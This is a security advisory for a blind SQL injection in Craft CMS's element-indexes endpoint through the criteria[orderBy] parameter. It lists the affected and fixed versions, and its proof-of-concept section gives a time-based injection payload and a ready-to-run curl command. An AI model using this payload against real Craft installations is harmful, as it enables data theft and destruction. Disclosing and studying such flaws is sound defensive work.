GHSA-2453-mppf-46cj
Craft CMS Vulnerable to SQL Injection in Element Indexes via `criteria[orderBy]`
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Packagist | craftcms/cms | >= 5.0.0-RC1, < 5.8.22 | 5.8.22 |
| Packagist | craftcms/cms | >= 4.0.0-RC1, < 4.16.18 | 4.16.18 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
The `element-indexes/get-elements` endpoint is vulnerable to **SQL Injection** via the `criteria[orderBy]` parameter (JSON body). The application fails to sanitize this input before using it in the database query.
An attacker with **Control Panel access** can inject arbitrary SQL into the `ORDER BY` clause by omitting `viewState[order]` (or setting both to the same payload).
> [!NOTE]
> The `ORDER BY` clause executes per row. `SLEEP(1)` on 10 rows = 10s delay.
---
## PoC
### Required Permissions
- Access to the Control Panel
### Steps to reproduce
1. Log in to the control panel
2. Navigate to any element index (e.g., **Users** `/admin/users`, **Entries**, **Assets**, etc.)
3. Intercept the `POST` request to `/index.php?p=admin/actions/element-indexes/get-elements`
4. Modify the JSON body to the following:
```json
{"context":"index","elementType":"craft\\elements\\User","source":"*","baseCriteria":{"siteId":1},"criteria":{"limit":100,"orderBy": "(elements.id) DESC, (SELECT SLEEP(5)) --"},"viewState":{"static":false}}
```
5. Send the request
6. Observe a delay in the response (delay = rows × sleep time)
Alternatively, you can use the following `curl` (bash syntax) command (replace cookie, CSRF token, and target domain as needed):
```bash
curl --path-as-is -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF-TOKEN>' -H $'Content-Length: 208' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\User\",\"source\":\"*\",\"baseCriteria\":{\"siteId\":1},\"criteria\":{\"limit\":100,\"orderBy\": \"(elements.id) DESC, (SELECT SLEEP(0.2)) --\"},\"viewState\":{\"static\":false}}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fget-elements'
```
### Impact
With this Blind SQLi, an attacker can:
- **Exfiltrate data** character-by-character.
- **Modify or destroy data** (drop tables, update records, alter schema).
### Root Cause
The `orderBy` parameter is not validated or sanitized. Wrapping the payload in parentheses (e.g., `(elements.id)`) bypasses internal quoting mechanisms.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/craftcms/cms/security/advisories/GHSA-2453-mppf-46cj
- https://nvd.nist.gov/vuln/detail/CVE-2026-25495
- https://github.com/craftcms/cms/commit/96c60d775c644ff0a0276da52fe29e11d4cd38d2
- https://github.com/craftcms/cms
- https://github.com/craftcms/cms/releases/tag/4.16.18
- https://github.com/craftcms/cms/releases/tag/5.8.22